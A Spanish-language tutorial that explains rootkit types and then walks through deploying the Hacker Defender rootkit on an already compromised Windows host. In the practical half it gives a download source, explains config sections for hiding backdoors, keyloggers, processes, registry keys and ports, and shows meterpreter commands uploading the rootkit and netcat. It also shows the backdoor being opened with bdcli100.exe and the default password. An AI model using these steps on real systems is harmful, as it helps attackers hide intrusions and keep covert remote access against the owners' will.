Un rootkit es un sistema que oculta la presencia de un atacante sobre un sistema comprometido, facilitando enormemente las actividades del hacker sobre dicho sistema. Para conseguir esto un rootkit permite esconder archivos, procesos y claves del registro en un sistema previamente comprometido por un atacante, el potencial de este tipo de enfoque tiene connotaciones muy importantes desde la perspectiva del atacante, principalmente porque le permite establecer backdoors no detectables por AV’s (en la mayoría de los casos) dado que los procesos se asocian con procesos que en principio son “confiables” y que procesos son confiables? Aquellos que se encuentran asociados a binarios importantes del sistema operativo, procesos o claves del registro, un rootkit se encarga de crear copias modificadas de estos binarios, procesos y claves del registro para que su posterior ejecución parezca legitima y permita a un atacante realizar operaciones administrativas.
Como posiblemente el lector comprenderá, un rootkit no es un exploit, no tiene ningún tipo de relación (excepto, claro esta, en el proceso de pre-explotacion donde se identifican exploits y/o distintas técnicas para comprometer el sistema antes de utilizar el rootkit).
Por otro lado, los rootkits están separados por funcionalidad, y operan en dos diferentes niveles que son: Modo de Usuario y Modo Kernel.
Modo de Usuario:
Un rootkit ejecutándose en este modo intentará interceptar las llamadas a las funciones nativas del sistema operativo para secuestrarlas y reemplazarlas con ejecuciones alternas, todas las llamadas a las funciones nativas de un sistema siguen una secuencia predeterminada de rutinas independiente de la aplicación que las invoque.
Modo Kernel
Mientras que un rootkit en modo usuario intenta interceptar y manipular las llamadas a la API nativa del sistema operativo para realizar tareas administrativas, un rootkit en modo kernel es un poco mas “agresivo” ya que intenta cambiar directamente el comportamiento del sistema operativo o modificar las estructuras de datos del kernel de sistema. Este modo es uno de los mas eficientes, ya que es optimo para evadir mecanismos de detección de AV’s u otros mecanismos de seguridad, sin embargo es necesario que el rootkit tenga acceso en primera instancia al espacio de memoria del kernel que es en realidad el nivel mas bajo en donde las aplicaciones invocan al kernel para enviar información, cuando un atacante puede controlar la información que es pasada al espacio del kernel puede esconder procesos e información de una forma mucho mas sencilla (sin embargo esto es algo que en ciertas ocasiones resulta difícil)
Por otro lado, los rootkits también se dividen en dos categorías adicionales en base a su entorno de ejecución, por un lado están los rootkits persistentes y por otro lado están los rootkits que se ejecutan en el contexto de memoria, como posiblemente le resultará claro al lector, los primeros se ejecutan justo al momento del arranque del sistema operativo y son especialmente pensados en el desarrollo de puertas traseras que permitan garantizar el acceso futuro del atacante al sistema comprometido, por otro lado, los rootkits que se ejecutan en memoria desaparecen una vez el sistema operativo es reiniciado o apagado, este tipo de ejecución esta pensada para realizar acciones concretas sobre un sistema comprometido dejando la menor cantidad de rastros que puedan ser utilizados posteriormente por un auditor en un análisis forense.
EN LA PRACTICA
Ahora para utilizar este Rootkit, en primer lugar es necesario descargarlo, los sitios que he visto donde deberían de poder descargarse no se encuentran disponibles (incluyendo el sitio de www.rootkit.com que ha sido hackeado) sin embargo se puede descargar desde http://www.mobile-download.net/soft/soft_11659.htm siempre es posible obtener una copia buscando en internet.
Se asume que se tiene acceso a un sistema windows previamente comprometido y que se cuenta con una sesión meterpreter para realizar todos los pasos que a continuación se indican:
- En primer lugar, es necesario subir a la maquina comprometida los ficheros correspondientes al Rootkit, en concreto es necesario subir el fichero haxdef100.exe y haxdef.inide esta forma se puede utilizar este Rootkit, sin embargo antes de llegar a ejecutarlo es necesario comprender el fichero de configuración que determina su comportamiento, en este orden de ideas se indican las “zonas” que incluye dicho fichero para ocultar procesos, ficheros y claves del registro
- [Hidden Table] Esconde todos los ficheros, directorios y procesos indicados. Normalmente se suele indicar una serie de caracteres seguidos por “*” indicando que debe comenzar con dicha serie de caracteres y se omitirá el resto del contenido. Es importante no establecer cosas como sys* o win* ya que puede ocultar ficheros importantes del sistema operativo.
- [Hidden Processes] Listado de procesos que deben ocultarse al administrador de tareas de windows. Es importante indicar aquí todos los procesos que garantizan el acceso del atacante al sistema tales como backdoors y keyloggers.
- [Root Processes] Se trata de un listado de programas que serán inmunes contra la infección, este listado es utilizado por los administradores del rootkit
- [Hidden Services] Es un listado de servicios y drivers que serán ocultos a la base de datos de servicios instalados en el sistema
- [Hidden RegKeys] Es un listado de claves en el registro que se ocultarán, los valores por defecto son: HackerDefender100, LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
- [Hidden RegValues] Es una lista de valores en el registro que se ocultarán al sistema operativo.
- [Startup Run] Se indica los programas que serán iniciados cuando el ordenador arranque.
- [Free Space] Se trata de un listado de discos duros y un numero de bytes que se adicionan a espacio libre, es decir, el número de bytes que se indique en este atributo será sumado al espacio real del disco duro.
- [Hidden Ports] Listado de puertos abiertos que se desea esconder para establecer conexiones entrantes y salientes
- [Settings] Permite establecer passwords y otras características interesantes de configuración del rootkit.
- Luego desde un proceso meterpreter se suben los ficheros anteriormente mencionados:
meterpreter > lpwd /opt/hackerdefender/hxdef100rmeterpreter > pwdC:\WINDOWS\Help meterpreter > mkdir hxdef
Creating directory: hxdef
meterpreter > cd hxdef
meterpreter > upload hxdef100.exe hxdef100.exe
[*] uploading : hxdef100.exe -> hxdef100.exe
[*] uploaded : hxdef100.exe -> hxdef100.exe
meterpreter > upload hxdef100.ini hxdef100.ini
[*] uploading : hxdef100.ini -> hxdef100.ini
[*] uploaded : hxdef100.ini -> hxdef100.ini
meterpreter > upload nc.exe nc.exe
[*] uploading : nc.exe -> nc.exe
[*] uploaded : nc.exe -> nc.exe
Como se puede apreciar en este directorio también se puede subir una copia de netcat, este fichero también se encontrará oculto para el sistema operativo.
- Ahora se ejecuta el rootkit desde meterpreter de la siguiente forma:
meterpreter > execute -f hxdef100 Process 268 created.
meterpreter > pwd C:\WINDOWS\Help\hxdef meterpreter > ls Listing: C:\WINDOWS\Help\hxdef ============================== Mode Size Type Last modified Name —- —- —- ————- —- 40777/rwxrwxrwx 0 dir Fri Jul 15 10:16:52 +0200 2011 . ..
|
- Con el Rootkit instalado adecuadamente en el objetivo, es posible realizar una conexión en cualquier momento en la puerta trasera establecida, para este fin existen herramientas en Hacker defender tales como bdcli100.exe. Dado que se trata de un ejecutable de windows, se podría o bien ejecutar desde wine para GNU/Linux o desde una maquina con windows, como por ejemplo una maquina virtual.
bdcli100.exe Host: 192.168.1.40
Port: 135 Pass: hxdef-rulez connecting server … receiving banner … opening backdoor .. backdoor found checking backdoor …… backdoor ready authorization sent, waiting for reply authorization – SUCCESSFUL backdoor activated! close shell and all progz to end session |
De este modo se abrirá una consola apuntando a la maquina remota comprometida. Como dato interesante, desde la nueva consola creada desde la ejecución del comando anterior, es posible visualizar los ficheros que permanecen ocultos a la maquina comprometida, como por ejemplo los directorios y ficheros de instalación de Hacker Defender, en este caso se puede utilizar netcat para establecer definir un puerto de conexión adicional, tal como se ha indicado en entradas anteriores sobre Netcat.
Aunque Hacker Defender es un rootkit de uso muy sencillo de utilizar y bastante conocido, en la practica es fácil de identificar por AV’s y herramientas de detección de rootkits como Blacklight Rootkit Eliminator. En cualquier caso es un rootkit que actualmente se utiliza con bastante frecuencia y que da ciertos niveles de usabilidad. Sin embargo, en algunos casos se recomienda utilizar otros mecanismos como por ejemplo el script persistence de meterpreter y/o otros de los mecanismos empleados en MetaSploit.